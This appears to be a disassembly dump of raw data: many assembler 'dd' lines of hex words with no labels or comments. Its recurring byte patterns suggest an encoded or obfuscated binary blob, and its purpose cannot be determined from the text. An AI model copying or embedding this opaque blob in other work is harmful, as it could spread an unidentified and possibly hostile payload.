dd 466F852Ch, 736A7723h, 0F16A0EBAh, 7DF3723Fh, 62F14D85h
dd 4B7E2985h, 125591BAh, 6A6BE392h, 466F852Ch, 736A7723h
dd 0F16A0EBAh, 7DF3723Fh, 62F14D85h, 4B7E2985h, 0DB7591BAh
dd 6A6BFBCEh, 0F37E92F9h, 3A78C27Dh, 2425FA7Ah, 76B82721h
dd 9FF32F7Ah, 795A72C2h, 0C5B5927Ah, 2C297A7Ah, 0FB1ADB2Dh
dd 92F96A6Bh, 66FFF37Dh, 8585869Bh, 0F856A0Fh, 4FFFF776h
dd 2A85869Bh, 326E6F85h, 0BEF96A73h, 0FB5EDB76h, 92F96A6Bh
dd 0C5752A78h, 6BFB527Fh, 7F92F96Ah, 0DB79102Ah, 6A6BFAB2h
dd 32DB2A32h, 756A6BF8h, 0FBD26FC5h, 0AA7B6A6Bh, 2A7E92F9h
dd 7A7A7B12h, 720F85BAh
dd 11626F85h, 0FFF36A6Bh, 858595F6h, 0F8582F9h, 66FF855Ch
dd 0DB85869Bh, 6A6BFB76h, 66FF4332h, 0F85869Bh, 720F8571h
dd 7A39A292h, 0E391237Ah, 293BA4Bh, 0DB7A7A6Eh, 6A6BFB0Eh
dd 0FAAE7F79h, 92F96A6Bh, 0CF852A76h, 858595F6h, 236A6F85h
dd 3FF36A73h, 6A2FF18Ah, 856AFEF7h, 2A7A7B85h, 6F857A10h
dd 6A7F5396h, 75863FF3h, 0FB527FC5h, 92F96A6Bh, 0FFF72A7Fh
dd 85869B5Ah, 8A0F852Ah, 85860F85h, 8595F6CFh, 4E6F8585h
dd 0F16A7A8Ah, 3AF1863Fh, 0BAFFF346h, 0F185858Dh, 869B5AFFh
dd 7A825785h, 0FF437A7Ah, 85858DBAh, 699CFD75h, 0FFF17A7Ah
dd 85858DBAh, 0F3863F79h, 0CD75823Fh, 3F2A477Ah, 0FF757A7Ah
dd 7A7A69B6h, 75823FF1h, 0F1263ACDh, 6BFAA66Fh, 0A26F796Ah
dd 0F96A6BFAh, 0AA437390h, 69D4FE75h, 0DFF97A7Ah, 85859406h
dd 823FF17Ah, 3E2ACD75h, 0FBF277F1h, 0BBF96A6Bh, 0FB04372h
dd 7E6FF146h, 796A6BF8h, 6BFB1A6Fh, 2AF2306Ah, 7A80FA60h
dd 0CD755D0Eh, 0FFF33C3Ah, 85869B76h, 0AA7FC575h, 436A6BFAh
dd 869B76FFh, 1BF97585h, 0BD7A7A69h, 859406FFh, 7A7A7B85h
dd 6C7F97Ah, 7A858594h, 0ADB350Eh, 756A6BFBh, 0FAEE6FC5h
dd 0AA7B6A6Bh, 9B76FF43h, 63098586h, 0F9823FF1h, 0CD757CBAh
dd 7677F16Ah, 0F96A6BFBh, 0B05378BBh, 916AF31Ch, 823FF15Ah
dd 757CBAF9h, 77F16ACDh, 6A6BF84Ah, 0AA47C575h, 7B6A6BFAh
dd 7E93F983h, 0F31CB053h, 823FF16Ah, 7AFAFAF1h, 0FFF37A7Ah
dd 858581AAh, 8DBAFFF1h, 0FFF38585h, 858595EEh, 95EEFFFBh
dd 7A828585h, 52C27A7Ah, 0F17A7A7Ah, 0CD758237h, 9B8D7C33h
dd 9B72FFF3h, 0FF7B8586h, 858595EEh, 7A7A52C2h, 0BA77F17Ah
dd 0F96A6BFBh, 9B8D78BBh, 9B7EFFF3h, 0FF7B8586h, 858595EEh
dd 0F1823FF1h, 7A7AAEF2h, 0EEF77B7Ah, 0F1858595h, 0FF432E3Ah
dd 858595EEh, 68FCFD75h, 0CEDB7A7Ah, 0F96A6BFBh, 0FFF37E92h
dd 858589D6h, 6BFB16DBh, 7F92F96Ah, 0DB9E3FF3h, 6A6BFB8Eh
dd 0F37392F9h, 8595DEFFh, 0FA8ADB85h, 92F96A6Bh, 0B6FFF379h
dd 93858581h, 7A7A7AB8h, 7A7A52C2h, 0B6DF8D7Ah, 0F3858581h
dd 869A82FFh, 0BAFFF185h, 0F185858Dh, 0FEF7862Fh, 7A7A826Ah
dd 82EFF17Ah, 0F385869Ah, 0F1BC7BACh, 3C79763Ch, 7AFFF372h
dd 0F185869Bh, 3C796E3Ch, 86FFF36Ah, 0F185869Ah, 0FF439E3Fh
dd 85869B7Ah, 0FFF1730Ch, 85869B7Ah, 0F19E3FF3h, 8589D6FFh
dd 86FF4385h, 0C85869Ah, 86FFF176h, 0F385869Ah, 8589D6FFh
dd 823FF185h, 7AD2FAF1h, 3C417A7Ah, 41670876h, 869B7AFFh
dd 0F16F0985h, 2FF16E3Ch, 0D2F87982h, 517A7A7Ah, 0FFF3763Ch
dd 858595DEh, 81AAFFF1h, 2CF18585h, 8AA4376h, 722C7969h
dd 7609AA43h, 79763C51h, 0FFF36E3Ch, 85858DC6h, 81B6FF85h
dd 3FF18585h, 3ACD7582h, 0B6FF437Ch, 75858581h, 858551F8h
dd 0FAEADB85h, 867F6A6Bh, 2A7A7A75h, 929E0F85h, 7A7A191Bh
dd 0F372BEF9h, 0C7F99E3Fh, 85859406h, 0F1730E7Ah, 8589D6FFh
dd 8A3FF385h, 89D6FFF1h, 3F438585h, 0F16D0E8Ah, 0C575823Fh
dd 6BFBE26Fh, 0EA43306Ah, 7A7A7AD2h, 6B50FE75h, 36DB7A7Ah
dd 0F96A6BF8h, 0FF437392h, 858595DEh, 7AB1FE75h, 0D6DB7A7Ah
dd 796A6BFBh, 6BFBA67Fh, 7892F96Ah, 9A82FFF3h, 1ADB8586h
dd 0F96A6BFBh, 0FFF37D92h, 85869B7Ah, 0FFF13491h, 858595DEh
dd 9A8EFFF3h, 66C28586h, 8D7A7A7Ah, 869B7ADFh, 8AFFF385h
dd 0F185869Ah, 869A8EFFh, 8AEFF185h, 7B85869Ah, 863F79AAh
dd 9A86FFF3h, 0EFF18586h, 85869A82h, 0C622A43h, 623AF173h
dd 9A82FFF3h, 0FF858586h, 85869B7Ah, 0F18207F1h, 7A7AD6FDh
dd 7A66C37Ah, 92BB7A7Ah, 335FC078h, 988D5EE8h, 9A8EEFF3h
dd 0ADF38586h, 9B7AC743h, 0F0088586h, 85823FF1h, 0CF85460Ah
dd 85869A82h, 7A181292h, 72BEF97Ah, 9A82FFF3h, 0FFF18586h
dd 858589D6h, 0E8A3F41h, 82FF4376h, 7585869Ah, 7A6A31FFh
dd 0F2DFF97Ah, 7A858595h, 6BFB4EDBh, 0AE7F796Ah, 0F96A6BFAh
dd 0FFF37D92h, 858581B2h, 7A7B4B93h, 0C6FFF17Ah, 7985858Dh
dd 8581B2FFh, 863F7985h, 0A586FFF3h, 6FF18586h, 6A6BFB56h
dd 0FB126F79h, 90F96A6Bh, 756A4370h, 7A7B60FEh, 86FFF17Ah
dd 0F18586A5h, 0FF51763Ah, 858581AAh, 8DC6FF79h, 0FFF38585h
dd 8586A582h, 2A863F79h, 9A7BFFF7h, 852A8586h, 7B5BDE6Fh
dd 72BEF96Ah, 6BFB3ADBh, 0FFF3326Ah, 85869B7Ah, 0FFF15191h
dd 85869B7Ah, 7B7FFEF0h, 4685869Ah, 466E041Bh, 0F16A0700h
dd 869B7AFFh, 7FFEF785h, 85869A7Bh, 855A52FAh, 869B7AFFh
dd 7AFFF185h, 7585869Bh, 7B7FFEC4h, 0F185869Ah, 6BFAC66Fh
dd 77C5756Ah, 6A6BFA86h, 90F9B07Bh, 0FAA4378h, 7FC575CBh
dd 6A6BFBEAh, 807FC6FAh, 3F8586A5h, 6FF11B0Fh, 6A6BF852h
dd 816FC6FAh, 288586A5h, 0C5752B0Fh, 6BFBDE6Fh, 6FC6FA6Ah
dd 8586A581h, 0F13A0F31h, 6BFBFE6Fh, 6FC6FA6Ah, 85869A79h
dd 0F14A0F49h, 6BFBA26Fh, 7A6F796Ah, 0FA6A6BF8h, 0A5876FC6h
dd 0F368586h, 127F7960h, 0FA6A6BFBh, 0A5847FC6h, 0F488586h
dd 0F2FFBD70h, 7B858595h, 0F97A7A7Ah, 8581B2FFh, 3FF16E85h
dd 0FEFAF182h, 437A7A7Ah, 8581B2FFh, 0C0F87585h, 0F9858584h
dd 8595F2C7h, 0FE757A85h, 7A7A74A2h, 0F9823FF1h, 0F91C6CBAh
dd 0FFF77B72h, 85869B4Fh, 81AEFFF3h, 3AF18585h, 0C2FFF346h
dd 7985858Dh, 8581AEFFh, 0CEFFF385h, 0F985858Dh, 859406C7h
dd 0FF757A85h, 7A7A7B6Ah, 0F1823FF1h, 6BFBB26Fh, 7290F96Ah
dd 7AAAEA43h, 0FE757A7Ah, 7A7A7A82h, 826FC575h, 796A6BFAh
dd 6BFAE26Fh, 7490F96Ah, 7AAEEA43h, 0FE757A7Ah, 7A7A7AA6h
dd 95EEEFF1h, 2A438585h, 0B7FC752Eh, 0F17A7A7Ah, 858DBAFFh
dd 7A827F85h, 0FFF37A7Ah, 85869A82h, 7A7A52C2h, 8237F17Ah
dd 7C33CD75h, 0FFF39B8Dh, 85869A8Eh, 9A82FFF1h, 0EFF18586h
dd 85869A8Eh, 0FFF3AA7Bh, 85869B7Ah, 9A8AFFF3h, 52C28586h
dd 0F17A7A7Ah, 6BFBD677h, 8A77796Ah, 0F96A6BFAh, 9B8D7893h
dd 9A96FFF3h, 0FFF18586h, 85869A8Ah, 9A96EFF1h, 0AA7B8586h
dd 9A86FFF3h, 3FF18586h, 0AECA8582h, 0F17A7A7Ah, 0EFF1863Fh
dd 85869B7Ah, 0F128B87Bh, 869A86EFh, 28B87B85h, 326E6F85h
dd 0BEF96A73h, 823FF176h, 7A7AAA7Fh, 92FFF37Ah, 0C285869Ah
dd 7A7A7A52h, 0FBBA77F1h, 77796A6Bh, 6A6BFABAh, 0FFF39B8Dh
dd 85869A9Eh, 9A92FFF1h, 0B8F38586h, 9A9EF7F1h, 707B8586h
dd 85823FF1h, 0F85460Ah, 2505928Ah, 3FF37A7Ah, 7A52C28Ah
dd 37F17A7Ah, 33CD7582h, 0F39B8D7Ch, 869B7AFFh, 0BAFFF185h
dd 0F185858Dh, 0FEF7862Fh, 7A7A826Ah, 7AEFF17Ah, 0F385869Bh
dd 0DBBC7BACh, 6A6BFBA6h, 2A76BAF9h, 6BFA9EDBh, 7F92F96Ah
dd 0F98AF32Ah, 852A62BAh, 73334E6Fh, 7FC5756Ah, 6A6BF86Ah
dd 7B85817Fh, 723CF37Ah, 85823FF1h, 3FF1460Ah, 77BAF96Ah
dd 2575922Ah, 3CF37A7Ah, 8A3FF16Ah, 8DCAFFF3h, 3FF18585h
dd 0DAFFF39Eh, 12858595h, 6A6BE25Fh, 7A777592h, 852C2A7Ah
dd 7B5BDE6Fh, 9E3FF16Ah, 0DB763CF3h, 6A6BFB36h, 7A7A647Fh
dd 5E3CF39Ah, 0F38A3FF1h, 96DB6E3Ch, 7F6A6BFAh, 7A7B8585h
dd 0F19E3F7Bh, 2CF1823Fh, 722C7976h, 852A2AF3h, 6B0A3A6Fh
dd 47C5756Ah, 6A6BFB52h, 426FC575h, 7B6A6BFBh, 7D95F9ADh
dd 7A7A87C3h, 838DE37Ah
dd 0C7F3AD7Bh, 858595E6h, 85823FF1h, 3FF1460Ah, 6A3C798Ah
dd 2401922Ah, 0BEF97A7Ah, 8A3FF34Ah, 0F9823FF1h, 851C7CBAh
dd 3A6F857Ah, 0F16A6B0Ah, 858DC2C7h, 0AEEFF185h, 0F3858581h
dd 869A82EFh, 86FFF385h, 0C385869Ah, 7A7A7A85h, 0F1838DE3h
dd 869A82F7h, 436EF285h, 0A3A6F85h, 6FF16A6Bh, 6A6BF87Ah
dd 7E77C575h, 7B6A6BFBh, 7E90F9B0h, 0EFF1AD7Bh, 858581AEh
dd 9A8AEFF3h, 0FFF38586h, 85869A8Eh, 7A7A85C3h, 838DE37Ah
dd 9A8AF7F1h, 6EF28586h, 0BA47F143h, 796A6BFBh, 6BFB0E47h
dd 7D95F96Ah, 81AEEFF1h, 37F18585h, 7393BB6Ah, 754076F2h
dd 0FABE7FC5h, 7F796A6Bh, 6A6BFBF6h, 0F17D92F9h, 8595E6F7h
dd 378BF985h, 0DB7876F2h, 6A6BFB82h, 7947BAF9h, 6BFAC67Fh
dd 0BEFFF36Ah, 91858581h, 3A6F854Fh, 0F16A6B0Ah, 8581BEC7h
dd 0AEEFF185h, 0F3858581h, 869A92EFh, 96FFF385h, 0C385869Ah
dd 7A7A7A85h, 0F1838DE3h, 869A92F7h, 436EF285h, 81BEFF85h
dd 0FFF18585h, 85858DC2h, 81BEFF43h, 0C7088585h, 9406C7F9h
dd 0E7A8585h, 0CAFFF100h, 7585858Dh, 0FAAA6FC5h, 6F796A6Bh
dd 6A6BFABAh, 2FF1AA7Bh, 787EF186h, 9A9EFFF3h, 3FF18586h
dd 4E2AF182h, 0DB522A79h, 6A6BFB4Ah, 7B7CBAF9h, 9AEFF3B8h
dd 0F185869Ah, 869A9EFFh, 0EA6FF185h, 0F96A6BFAh, 0C5758CB8h
dd 6BF86A77h, 53B07B6Ah, 9AFF79AAh, 0F185869Ah, 6BFBD66Fh
dd 78B8F96Ah, 0FFF3AA7Bh, 85869AA6h, 0F1823FF1h, 869AA6EFh
dd 4E2A5185h, 10522AF3h, 0F8EA1277h, 0FFF76A6Bh, 85869B52h
dd 6E6F852Ah, 0F16A7332h, 0BAF96A3Ch, 0FFF72A77h, 85869B52h
dd 6E3CF12Ah, 2A863F79h, 326E6F85h, 0BEF96A73h, 6E3CF162h
dd 0F377BAF9h, 8595E2FFh, 6FC57585h, 6A6BFABEh, 7B7E90F9h
dd 0A6FFF3AAh, 91858581h, 0A6FFF160h, 79858581h, 0CC75863Fh
dd 0E6EF496Ah, 0F2858595h, 0A6FF856Ah, 0F1858581h, 8595E2FFh
dd 6A3F7985h, 81A6FF43h, 0AF088585h, 6BFAC2DBh, 7E92F96Ah
dd 0DB923FF3h, 6A6BFB8Eh, 0B87BB8F3h, 92F9AAF3h, 0BAFFF368h
dd 93858581h, 7A7A7892h, 7A7A52C2h, 0BADF8D7Ah, 0F3858581h
dd 869A9AFFh, 0C2FFF185h, 0F185858Dh, 8581AEEFh, 6AFEF785h
dd 7A7A7A82h, 9A9AEFF1h, 0A9F38586h, 52C2B97Bh, 0F17A7A7Ah
dd 0CD758237h, 9B8D7C33h, 9AA6FFF3h, 0FFF18586h, 85858DBAh
dd 0F7862FF1h, 7A826AFEh, 0EFF17A7Ah, 85869AA6h, 0BC7BACF3h
dd 0B67FC575h, 0FA6A6BFAh, 0F087946h, 0FBD6DB49h, 0C5756A6Bh
dd 6BFB466Fh, 0F9AA7B6Ah, 46FA7192h, 660F5479h, 727FC575h
dd 0FA6A6BF8h, 197E6206h, 39F1740Fh, 0FEFFF36Eh, 93858595h
dd 7A7A783Ch, 827FC575h, 0F96A6BFAh, 46FA7F92h, 430F5479h
dd 3E7FC575h, 796A6BF8h, 6BFB127Fh, 7292F96Ah, 1F7946FAh
dd 9EDB590Fh, 3A6A6BFBh, 1B7946FAh, 39F16D0Fh, 2FFF376h
dd 0F1858594h, 0FFF36E39h, 858595FAh, 7A7B8793h, 7FC5757Ah
dd 6A6BFB1Eh, 137946FAh, 0D6DB4B0Fh, 756A6BFBh, 0FB466FC5h
dd 0AA7B6A6Bh, 0FA7192F9h, 0F547946h, 7FC57560h, 6A6BF86Ah
dd 0FBF27F79h, 92F96A6Bh, 7946FA7Fh, 0C5FE751Bh, 0DB7A7A7Bh
dd 6A6BFBCEh, 0FA7E92F9h, 75547946h, 7A7AFEFFh, 0FB5ADB7Ah
dd 7F796A6Bh, 6A6BFA8Ah, 0FA7092F9h, 0F187946h, 0FB9EDB0Ah
dd 7F796A6Bh, 6A6BF846h, 7946FA32h, 0F9240F09h, 9ADBA2BCh
dd 7F6A6BFBh, 9A7A7A62h, 0FAC27F79h, 3CF36A6Bh, 7FC5755Eh
dd 6A6BFACEh, 7A75817Fh, 0C852A7Ah, 20B99272h, 0BDF37A7Ah
dd 0F3720179h, 0DADB7204h, 7F6A6BFAh, 7A7A7581h, 0FB4E7F79h
dd 0F12A6A6Bh, 39799E3Fh, 0E4922A72h, 0F97A7A20h, 3FF36ABEh
dd 52BCF99Eh, 7A7B5393h, 8A3FF17Ah, 0F16E3CF3h, 3CF37239h
dd 9E3FF172h, 0F1763CF3h, 3CF35E39h, 852C295Eh, 7B5BDE6Fh
dd 6A39F16Ah, 756A3CF3h, 0FAAA7FC5h, 0C5756A6Bh, 6BFAB66Fh
dd 6A3EF76Ah, 8ADB2A7Fh, 0F96A6BFAh, 0F32A7992h, 62BAF98Ah
dd 4E6F852Ah, 0F16A7333h, 29F19207h, 0C7EEF376h, 8585819Ah
dd 0F37229F1h, 8DBEC7EEh, 2CF18585h, 0C7EEF376h, 858589CEh
dd 0F36E2CF1h, 95CAC7EEh, 3F858585h, 6A39F192h, 0F18A3F7Bh
dd 0FFF38A3Fh, 85869A9Eh, 85823FF1h, 0F85460Ah, 238D928Ah
dd 0BEF97A7Ah, 8A3FF366h, 6BFBD6DBh, 46FA326Ah, 5A0F1E79h
dd 9A9EFFF1h, 3F438586h, 0F16F0C8Ah, 0BB538A37h, 9AA2F7F3h
dd 0B2F38586h, 0F3723C7Bh, 6A3C7BB2h, 867FC575h, 7F6A6BFAh
dd 7A7A7584h, 763CF12Ah, 2A723979h, 7A23D692h, 8207F17Ah
dd 0DB2A3DF3h, 6A6BF86Eh, 7A75877Fh, 3FF12A7Ah, 7239799Eh
dd 23F5922Ah, 3FF37A7Ah, 0F982F39Eh, 851C7CBAh, 6A0C857Ah
dd 796E39F1h, 8581AEFFh, 3CF12A85h, 863F796Eh, 6E6F852Ah
dd 0F96A7332h, 0FF8566BEh, 858581BAh, 8DCEFFF1h, 0CD758585h
dd 0FF437C3Ah, 858581BAh, 8778F875h, 0FFF18585h, 858595FEh
dd 81AEFF79h, 3FF38585h, 0FBA6DB96h, 0C5756A6Bh, 6BFBD26Fh
dd 0F3AA7B6Ah, 26919A3Fh, 0F19A07F1h, 68F1962Fh, 9AC7EE43h
dd 0F858581h, 963FF171h, 0FFF37AF1h, 858589CAh, 0BB9A07F1h
dd 0EEF1789Dh, 85819A47h, 47EE7985h, 85858DBEh, 419607F1h
dd 0F1580C6Dh, 0C6F19A07h, 8595CAC7h, 0EAC7F385h, 0F1858595h
dd 0C6F19A07h, 8589CEC7h, 0D6C7F385h, 91858595h, 9A3F8571h
dd 43923FF1h, 0E6089A3Fh, 6BF87EDBh, 7892F96Ah, 81A2FFF3h
dd 1E938585h, 0F17A7A7Bh, 8581A2FFh, 0CA6FF185h, 796A6BFBh
dd 6BFB5A6Fh, 7D90F96Ah, 3F79AA7Bh, 9AFFF396h, 1C85869Ah
dd 0F31C7AF1h, 869A9EFFh, 0FFCD7585h, 85869A9Eh, 0FBD66FF1h
dd 90F96A6Bh, 75AA4378h, 7A7B4EFEh, 0C7CD757Ah, 85869A9Eh
dd 0AA6FC575h, 756A6BFAh, 0FB3277C5h, 36F76A6Bh, 85A97F70h
dd 0A4C7F31Ch, 7585869Ah, 9A9EC7CDh, 6FF18586h, 6A6BFB12h
dd 8E77C575h, 0FD6A6BFAh, 0A9AB7BABh, 0C7F31C9Dh, 85869A9Ch
dd 9CC7CD75h, 0F185869Ah, 6BFB9A77h, 1C85A96Ah, 9A9CC7F3h
dd 0CD758586h, 869A9CFFh, 666FF185h, 0F96A6BFBh, 0AA437890h
dd 8EDB6E0Fh, 0F96A6BFBh, 0FF437392h, 858581A2h, 7AC9FF75h
dd 3FF17A7Ah, 4E3AF182h, 95D6FF79h, 2FF18585h, 51787996h
dd 8589CAFFh, 0EFCD7585h, 85869A9Ch, 0FFF3AA7Bh, 85869AA2h
dd 8DCEFFF1h, 3AF18585h, 962FF14Eh, 0CD757879h, 869A9CEFh
dd 0F3AA7B85h, 869AAEFFh, 0A2F7F185h, 5385869Ah, 0AAF7F3BBh
dd 7585869Ah, 9AA4FFCDh, 0C5758586h, 6BFB926Fh, 0EA6F796Ah
dd 0F96A6BFAh, 0AA437290h, 0FFF15D0Fh, 858595EAh, 79962FF1h
dd 0CAFF5178h, 75858589h, 9A9CEFCDh, 0AA7B8586h, 0F3863F79h
dd 869AB6FFh, 7BB0F385h, 0FB06DB6Ah, 92F96A6Bh, 0A2FF7B7Fh
dd 0F1858581h, 3AF1963Fh, 0A2FF437Eh, 75858581h, 8584F0F8h
dd 963FF185h, 7B7E2AF1h, 962FF3B8h, 8DCEFFF1h, 0FAF18585h
dd 7A7A7ADEh, 95FEEFF1h, 0EF798585h, 858581AEh, 3F43AA7Bh
dd 0A8F87596h, 0F1858587h, 32F1823Fh, 0EF7F352h, 0F1858594h
dd 8595DAEFh, 522AF385h, 9406C7F9h, 0F7A8585h, 1ABAF965h
dd 8DCEEFF1h, 28F18585h, 0F16A7B1Ah, 0BAF9823Fh, 0CEEFF112h
dd 0F185858Dh, 6A7B1228h, 75823FF1h, 0F83A6FC5h, 0C5756A6Bh
dd 6BFB5277h, 0F9B07B6Ah, 0F31C7D90h, 6FF13C2Ah, 6A6BFB86h
dd 797FB8F9h, 6BFB826Fh, 602AF26Ah, 0FA9A6FF1h, 0B8F96A6Bh
dd 2AF31C7Dh, 0FAFFF13Eh
dd 79858595h, 8581AEFFh, 62FFF385h, 0F185869Bh, 8595FAFFh
dd 62EFF185h, 7985869Bh, 0FF516638h, 85859402h, 9B6EFFF3h
dd 0FF798586h, 858581AEh, 9B6AFFF3h, 7AF18586h, 95D2FFF3h
dd 0CEDB8585h, 756A6BFBh, 0FB466FC5h, 0AA7B6A6Bh, 0F37792F9h
dd 3B91A63Fh, 0BBA607F1h, 0EEF1789Dh, 85819A47h, 47EE7985h
dd 85858DBEh, 95D2EF41h, 580C8585h, 0F1A607F1h, 819AC7C6h
dd 0C7F38585h, 85859416h, 0F1A607F1h, 89CEC7C6h, 0C7F38585h
dd 85859412h, 3F857191h, 923FF1A6h, 8A63F43h, 823FF1CDh
dd 794E3AF1h, 859412FFh, 0D2FF7985h, 51858595h, 859416FFh
dd 0AFFF385h, 0F1858594h, 858DCEFFh, 4E3AF185h, 95D2FF79h
dd 0FFF38585h, 858595D2h, 8DCAFFF1h, 3FF38585h, 78F1938Eh
dd 3FF17A7Ah, 862FF18Eh, 0FAC277F1h, 77796A6Bh, 6A6BFB2Ah
dd 0F37D93F9h, 75B57BBDh, 0F14076CCh, 6BFADA47h, 7995F96Ah
dd 0FF758343h, 7A7A7B73h, 0FADA77F1h, 0F3336A6Bh, 75B57BBDh
dd 0F14076CCh, 6BF87E47h, 7895F96Ah, 0FF758343h, 7A7A7A93h
dd 7876CC75h, 0FB6E47F1h, 0BDFB6A6Bh, 7A7A7A9Eh, 0FB9E4779h
dd 83436A6Bh, 7AB1FF75h, 77F17A7Ah, 6A6BFBA6h, 0F379BBF9h
dd 75B57BBDh, 0F14076CCh, 6BF84647h, 7A47796Ah, 0F96A6BF8h
dd 83437F95h, 7AD9FF75h, 7F797A7Ah, 6A6BFBA2h, 787ECC75h
dd 0F85A6FF1h, 6F796A6Bh, 6A6BFBDAh, 437090F9h, 0F8FF75AAh
dd 0F17A7A7Ah, 32F1823Fh, 0EF7794Eh, 0F3858594h, 869A9EF7h
dd 4E3AF185h, 95DAFF79h, 2FF18585h, 0CAEF518Eh, 7B85858Dh
dd 9AFFF3AAh, 7585869Ah, 0FA8E7FC5h, 6FF16A6Bh, 6A6BFBCEh
dd 836A3EF7h, 9A9AFF51h, 0B27B8586h, 7E6FC575h, 0F96A6BFBh
dd 0AA537EB8h, 9AA6FFF3h, 0C5758586h, 6BFAD247h, 8247796Ah
dd 0F16A6BFBh, 0C5758E2Fh, 6BFA8E77h, 6A77796Ah, 0F96A6BFBh
dd 0B07B7093h, 0F3862F79h, 0C036F3BBh, 8E3FF18Eh, 0F3862FF1h
dd 869A9EEFh, 4A77F185h, 0F96A6BFBh, 0BDF378BBh, 0CC75B57Bh
dd 47F14076h, 6A6BFBFEh, 0EE6FC575h, 7B6A6BFBh, 0F980F3ADh
dd 0AB437F90h, 7B62FF75h, 0C5757A7Ah, 6BF83E6Fh, 466F796Ah
dd 0F96A6BF8h, 0BBF37C90h, 0EFF1AB7Bh, 85869A9Eh, 706ECC75h
dd 0FB3677F1h, 77796A6Bh, 6A6BFB96h, 437F93F9h, 99FF75B0h
dd 0F17A7A7Ah, 6BFB266Fh, 6A6F796Ah, 0F96A6BFBh, 0BBF37190h
dd 0EFF1AB7Bh, 85869A9Eh, 706ECC75h, 0FB5677F1h, 93F96A6Bh
dd 75B04372h, 7A7ACFFFh, 9EEFF17Ah, 7585869Ah, 75786ECCh
dd 0F83A77C5h, 0BBFB6A6Bh, 7A7A7A9Ah, 0FF75B043h, 7A7A7AECh
dd 0F84E6FF1h, 0C5756A6Bh, 6BF87277h, 0F9B07B6Ah, 0AA7B7F90h
dd 9A9EEFF1h, 0CC758586h, 6FF1787Eh, 6A6BF856h, 437D90F9h
dd 0F1110FAAh, 3AF1823Fh, 0DAFF794Eh, 0F1858595h, 0EF518E2Fh
dd 85858DCAh, 0FFF3AA7Bh, 85869A9Ah, 940AFFF1h, 0FFF38585h
dd 85869AA6h, 827FC575h, 0F96A6BFAh, 0FF5180BAh, 85869A9Ah
dd 9AA6FF79h, 6FF18586h, 6A6BFAA2h, 537890F9h, 0A2FFF3AAh
dd 7585869Ah, 0FB7E47C5h, 2FF16A6Bh, 0C677F18Eh, 3B6A6BFAh
dd 2F79B07Bh, 0F3BBF386h, 3F85C076h, 0CAFFF18Eh, 0F985858Dh
dd 3F4377BAh, 19F8758Eh, 85858587h, 8595F6CFh, 326F8585h
dd 856A7333h, 0FFF7720Fh, 858594FBh, 0DE6F852Ah, 0F96A7B5Bh
dd 3FF172BEh, 0F9BBF372h, 0FA3A85B2h, 0F7A7B46h, 5EFFF383h
dd 0F185869Bh, 6BFBA66Fh, 77C5756Ah, 6A6BFBE2h, 0AA53B07Bh
dd 0FB7FFEBCh, 8858594h, 9B5EFFF1h, 0C5758586h, 6BF8726Fh
dd 78B8F96Ah, 0FEBCAA53h, 8594FB7Fh, 0FFF11385h, 85869B5Eh
dd 0FB026FF1h, 90F96A6Bh, 0BCAA537Dh, 94FB7FFEh, 0DB0C8585h
dd 6A6BFB4Eh, 2A7892F9h, 6BFBF6DBh, 7B92F96Ah, 7578102Ah
dd 0FACE7FC5h, 92F96A6Bh, 0D6DB2A7Fh, 0F96A6BFAh, 122A7D92h
dd 3A7A7A7Ah, 94FBFFF7h, 852A8585h, 6B11626Fh, 0F6FFF36Ah
dd 0DB858595h, 6A6BFB06h, 2A7D92F9h, 9B5AFFF7h, 852A8586h
dd 0F858A0Fh, 0F6CF8586h, 85858595h, 6B15666Fh, 0F6CF856Ah
dd 85858595h, 7333326Fh, 860F856Ah, 5FB66F85h, 7A106A7Bh
dd 0F7720F85h, 8594FBFFh, 6F852A85h, 6A734F3Eh, 94FBFFF7h
dd 852A8585h, 7A8A766Fh, 7A7BC26Ah, 6D917A7Ah, 95F6CF85h
dd 6F858585h, 6A733332h, 85860F85h, 7B5FB66Fh, 25BA4B6Ah
dd 0B9B32124h, 2B9FF32Fh, 0F12D2C29h, 47F97207h, 6A6BF82Ah
dd 126F0F7Ah, 6A6B0A2Ah, 75B66F85h, 7FBD6A7Bh, 6A6BF82Ah
dd 7A7A7A7Bh, 0FB4E4FF1h, 753C6A6Bh, 0CC7565CCh, 0CD757B2Dh
dd 7298BBA8h, 0CD75A973h, 1CA47BA1h, 75860FF3h, 0F1863FCDh
dd 6BFB226Fh, 4A6F796Ah, 306A6BF8h, 0FE75AA43h, 7A7A7AFDh
dd 6B0A2A12h, 266F856Ah, 756A6B23h, 0FA8E7FC5h, 0C5756A6Bh
dd 6BFB3E6Fh, 0F9AA7B6Ah, 0F31C7992h, 6F91843Fh, 843FCD75h
dd 0C475827Bh, 35C4756Ah, 0F2B04B78h, 3F851C6Ah, 3FCD7584h
dd 2FCD7584h, 6AA4386h, 7FC575A5h, 6A6BFAB6h, 6FC57532h
dd 6A6BFA82h, 0F27F90F9h, 0C5757D6Eh, 6BFBE27Fh, 0B27F796Ah
dd 0F96A6BFBh, 6FF17292h, 6A6BFA9Ah, 0FB5E6F79h, 90F96A6Bh
dd 7D6EF272h, 6B0A2A12h, 3A6F856Ah, 0F76A7333h, 2425793Dh
dd 2FB9B321h, 96FB9FF3h, 7A7A7956h, 852D2C29h, 6F85760Fh
dd 6A77235Eh, 720F8523h, 8690FFF7h, 922A8585h, 7A7AD3B3h
dd 8690F7F7h, 0B2F98585h, 46FA3A85h, 830F7A7Bh, 0F87E6FF1h
dd 6F796A6Bh, 6A6BFAE2h, 0F37090F9h, 0F1A953B9h, 6BFBFA6Fh
dd 67EEF26Ah, 85858690h, 6BFB2EDBh, 6FC5756Ah, 6A6BFB7Eh
dd 0AD7BBDF3h, 0F37295F9h, 0B277F182h, 3B6A6BFAh, 0FFF39B8Dh
dd 8585869Ah, 47FEC475h, 85858690h, 869AEFF1h, 0FEF28585h
dd 8587946Fh, 0F182F385h, 6BFA9E77h, 7993F96Ah, 0FFF39B8Dh
dd 858586A6h, 6BFBDADBh, 0E67F796Ah, 0F96A6BFBh, 0EFF17192h
dd 858586A6h, 0C6DBB87Bh, 796A6BFBh, 6BF8427Fh, 7C92F96Ah
dd 946FFEF2h, 75858587h, 9047FEC4h, 75858586h, 0FB8A6FC5h
dd 6F796A6Bh, 6A6BFB76h, 437290F9h, 0F8FF75AAh, 0F37A7A7Ah
dd 677F182h, 0F96A6BFBh, 9B8D7F93h, 86A2FFF3h, 9EDB8585h
dd 796A6BFAh, 6BFAE27Fh, 7192F96Ah, 86A2EFF1h, 0B87B8585h
dd 0D27FC575h, 0F26A6BFBh, 87946FFEh, 82F38585h, 0FB2A77F1h
